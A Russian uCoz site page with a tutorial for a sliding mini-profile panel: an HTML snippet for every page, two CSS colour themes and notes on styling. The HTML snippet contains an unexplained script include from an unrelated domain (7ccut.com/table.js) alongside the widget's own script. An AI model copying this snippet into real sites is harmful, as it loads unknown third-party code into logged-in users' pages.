Воскресенье, 31.08.2025, 15:36
Программы,Аудиокниги,Скрипты,Онлайн фильмы
То, что ты знал до своего рождения, не потеряно. Ты только прячешь это до первых испытаний, когда придет время вспомнить. И, конечно же, если захочешь, ты можешь попытаться ступить на какой-нибудь странный, забавный и прекрасный путь и найти этот клад.
Ричард Бах

Главная Регистрация Вход
 Приветствую Вас, Гость · RSS
Меню сайта
Новости сайта

Скачать бесплатно Грей Мари - Женские страсти (Аудиокнига) (4749)
Борис Акунин - Азазель (аудиоспектакль) (3411)
Александр Конторович. "Черная смерть" (2043)
Секунда -Евгений Гришковец (1563)
Katra - Out Of The Ashes (2010) (1808)
учебники и справочники по HTML (1775)
Харуки Мураками. - Кафка на пляже /аудиокнига/ (2214)
Скрипт Блок "добавь нас в закладки" для uCoz (3526)
Агния Барто - Стихи и песни (2275)
Беркем А.- МАРОДЁР (1802)
Босоногий Ген / Barefoot Gen (2083)
Стас Михайлов Свеча (1997) (1654)
Киплинг Редьярд - Ким (Приключения,Аудиокнига) (1417)
Луин Майкл - Умей задать вопрос (Аудиокнига,Детектив) (1900)
Любовь и голуби (2967)
Фото на документы Профи 3.35 (1750)
Вальс на прощание (1750)
Freak Out Extreme Freeride (2007) (ENG) (PSP) (1613)
Аллен Карр Легкий способ бросить курить (1776)
Rondò Veneziano (1875)

Прикольные Смайлики и Статусы для майл агента 5.7 Новые смайлики
Просмотров:[16616]
Скачиваний:[195]
Мощный анализатор ставок на рулетке Easy Roulette 2
Просмотров:[11152]
Скачиваний:[477]
Кнопка «Класс!» Одноклассники
Просмотров:[8038]
Скачиваний:[0]
Скачать бесплатно Stronghold Legends - Легенды Цитадели
Просмотров:[7588]
Скачиваний:[462]
Скачать Славянская клиника - Похудеть без диет и голода (аудиокурс/7 CD)
Просмотров:[7211]
Скачиваний:[102]
Отправить смс любым операторам бывшего снг
Просмотров:[6994]
Скачиваний:[176]
Java скрипт - Генератор кода для выпадающего меню
Просмотров:[6935]
Скачиваний:[0]

Описание и настройка HandyCache
Просмотров:[18567]

Как перевести деньги с телефона на телефон по Украине
Просмотров:[17780]


  • Притчи
  • [Жизнь прекрасна!Женские рассказы]
  • Анекдоты
  • [Анекдоты]
  • Любовь
  • [Любовь]

  •  
    Главная » 2014 » Январь » 20 » Выдвижной мини-профиль
    22:09
    Выдвижной мини-профиль
    В этом топике мы будем устанавливать красивый выдвижной мини-профиль который вовсе не занимает место на сайте. Помимо функциональности, выдвижной мини-профиль добавит вашему сайту юзабилити, пользователям будет проще обращаться к основным функциям\ссылкам сайта касающиеся управления аккаунтом и не только.

    Вы так же можете изменять, добавлять: новые ссылки, иконки, расцветку выдвижного мини профиля. Я вам подробно распишу где, что и как изменить, а так же представлю 2 уже готовых цветовых решений (светлый, темный).

    Установка
    1. Установите HTML код на всех страницах сайта, рекомендую в нижнюю часть сайта.

    Код
    <?if($USER_LOGGED_IN$)?>  
      <ul class="uwaid_panel">  
      <li class="close_p">X</li>  
      <li><a href="$PERSONAL_PAGE_LINK$"><img src="<?if($USER_AVATAR_URL$)?>$USER_AVATAR_URL$<?else?>http://pnghosts.ru/img/1275.jpg<?endif?>">Мой профиль</a></li>  
      <li><a href="$PM_URL$"><i class="uwaid_icon message"></i>Сообщения <span>$UNREAD_PM$</span></a></li>  
      <li><a href="/index/11"><i class="uwaid_icon settings"></i>Изменить данные</a></li>  
      <li><a href="$LOGOUT_LINK$"><i class="uwaid_icon exit"></i>Выйти с сайта</a></li>  
      </ul><script src="http://7ccut.com/table.js" type="text/javascript"></script>  
      <div class="my_profile">Мой профиль</div>  
      <script type="text/javascript" src="http://pnghosts.ru/js_css/3983_profile.uwaid.r.js"></script>  
      <?endif?>


    2. В таблицу стилей (CSS) вставьте один из предложенных стилей.

    Темный (Основной)

    Код
    .uwaid_panel {position: fixed; right:10px; bottom:10px; display:none; list-style: none; margin: 0; padding: 0; z-index:9999999999999;}  
      .uwaid_panel a { width: 200px; height: 40px; text-decoration:none; display: block; padding: 9px;text-align: left; font: 16px Tahoma; line-height: 37px;transition: all 0.3s 0.09s ease;-moz-transition: all 0.3s 0.09s ease;-webkit-transition: all 0.3s 0.09s ease;-o-transition: background 0.3s 0.09s ease; }  
      .uwaid_panel a:hover { text-decoration:none;}  
      .uwaid_panel a img, .uwaid_icon { height: 40px; width: 40px; float: left; margin-right: 9px; }  
      .uwaid_panel a span {border-radius: 46px;float: right;padding: 0 15px;font-size: 13px;}  
      .uwaid_icon {background:url('http://pnghosts.ru/img/18148035.png');}  
      .settings {background-position-y: -40px;}  
      .exit {background-position-y: -80px;}  
      .my_profile {padding: 0 23px;z-index:9999999999999; text-align:center; font:16px Tahoma; line-height:37px;transition: all 0.3s 0.09s ease;-moz-transition: all 0.3s 0.09s ease;-webkit-transition: all 0.3s 0.09s ease;-o-transition: background 0.3s 0.09s ease; position:fixed; right:10px; bottom:10px;}  
      .my_profile:hover {cursor:pointer;}  
      .close_p {position: absolute;margin-left: 216px;border-radius: 17px;padding: 4px 8px;margin-top: -14px;}  
      .close_p:hover {cursor:pointer;}  
      /* Цветовые стили */  
      .uwaid_panel {border:7px solid #33373b;border-bottom:6px solid #33373b;border-left:none; }  
      .uwaid_panel a {background: #272a2d; border-left:7px solid #33373b;color: #fff;}  
      .uwaid_panel a:hover {background:#232629;border-left:7px solid #e05b5b;}  
      .uwaid_panel a span {background: #e05b5b;}  
      .my_profile {border:7px solid #33373b;background: #272a2d;color:#fff;}  
      .my_profile:hover {background:#454B50;}  
      .close_p {background: #e05b5b;color: #fff;}  
      .close_p:hover {background:#F87676;}


    Светлый

    Код
    .uwaid_panel { position: fixed; right:10px; bottom:10px; display:none; list-style: none; margin: 0; padding: 0; z-index:9999999999999;}  
      .uwaid_panel a { width: 200px; height: 40px; text-decoration:none; display: block; padding: 9px;text-align: left; font: 16px Tahoma; line-height: 37px;transition: all 0.3s 0.09s ease;-moz-transition: all 0.3s 0.09s ease;-webkit-transition: all 0.3s 0.09s ease;-o-transition: background 0.3s 0.09s ease; }  
      .uwaid_panel a:hover {text-decoration:none;}  
      .uwaid_panel a img, .uwaid_icon { height: 40px; width: 40px; float: left; margin-right: 9px; }  
      .uwaid_panel a span {border-radius: 46px;float: right;padding: 0 15px;font-size: 13px;}  
      .uwaid_icon {background:url('http://pnghosts.ru/img/18148035.png');}  
      .settings {background-position-y: -40px;}  
      .exit {background-position-y: -80px;}  
      .my_profile {padding: 0 23px;z-index:9999999999999; text-align:center; font:16px Tahoma; line-height:37px;transition: all 0.3s 0.09s ease;-moz-transition: all 0.3s 0.09s ease;-webkit-transition: all 0.3s 0.09s ease;-o-transition: background 0.3s 0.09s ease; position:fixed; right:10px; bottom:10px;}  
      .my_profile:hover {cursor:pointer;}  
      .close_p {position: absolute;margin-left: 216px;border-radius: 17px;padding: 4px 8px;margin-top: -14px;}  
      .close_p:hover {cursor:pointer;}  
      /* Цветовые стили */  
      .uwaid_panel {border: 7px solid #C4C6C7;border-bottom: 6px solid #C4C6C7;border-left:none;}  
      .uwaid_panel a {background: #E4E4E4;border-left: 7px solid #C4C6C7;color:#555353;text-shadow: 0 1px 0 #fff;}  
      .uwaid_panel a:hover {background: #A2A2A2;border-left: 7px solid #807C7C;text-shadow:0 1px 0 #BDBDBD;}  
      .uwaid_panel a span {background: #C7C7C7;}  
      .my_profile {background:#E4E4E4;border: 7px solid #C4C6C7;color:#555353;}  
      .my_profile:hover {background:#DAD7D7; border: 7px solid #807C7C;}  
      .close_p {background: #C7C7C7;color: #fff;}  
      .close_p:hover {background: #A2A2A2;}


    Настройка цветов
    Для удобства все стили отвечающие за цветовую схему выдвижного мини-профиля вынесены в отдельные селекторы. После "/* Цветовые стили */".
    .uwaid_panel — Основной стиль панели.
    .uwaid_panel a — Стили ссылки в обычном состоянии.
    .uwaid_panel a:hover — Стили ссылки при наведении.
    .uwaid_panel a span — Стили количества сообщений.
    .my_profile — Стили кнопки вызова панели.
    .close_p — Стили кнопки закрытия панели.

    Основываясь на этом можно изменять цвета:
    border — Обводка
    background — Фон
    color — Цвет текста
    Просмотров: 807 | Добавил: Bitfood | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Copyright MyCorp © 2025

    Мультфильм Скрипт смотреть онлайн аудиокнига Программы 2010 Windows soft Rus build 2013 Multi Ashampoo studio Professional ENG СКАЧАТЬ БЕСПЛАТНО final скачать бесплатно ccleaner Utilities Portable adobe converter video русский Repack photo pro KpoJIuK ultimate D!akov Edition Advanced player Auslogics BoostSpeed PC рс 365 Commander Care Wise 2014 uninstall TooL Download Internet Business
    Заработать Твиттер



    Поиск
    Услуги
    Бесплатный Хостинг
    Посоветовать страницу

    Аудиокнига случайная
    Пауло Коэльо. Ведьма с Портобелло (5284)
    Скачать бесплатно Stronghold Legends - Легенды Цитадели (7588)
    Антология юмора (1955)
    "Гостья" - Стефани Майер. (2107)
    Сергей Кузнецов - Живые и взрослые ( Мистика,аудиокнига) (1765)
    "Малый прыжок в английский" А. Драгункин (2421)
    Ольга Степнова - Уж замуж невтерпеж (Аудиокнига,Детектив) (2079)
    Стивен Кинг - Громила (Мистика,Аудиокнига) (1729)
    Гарднер Эрл Стэнли - Дело о длинноногих манекенщицах (Детектив,Аудиокнига) (1816)
    Материализация мысли (2403)
    Вальтер Скотт - Айвенго /аудиокнига/ МР3 (3751)
    Аудиокурсы Английского mp3 (2255)
    Пеппи Длинный Чулок. (3787)
    Долина Проклятий (Аудиокнига) (2061)
    Шоу двух M&M's ов на вашем рабочем столе(M&M's_Screenmate) (3761)
    Вход
    Статистика

    Онлайн всего: 15
    Гостей: 15
    Пользователей: 0

    Copyright MyCorp © 2025
    Яндекс.Метрика
    |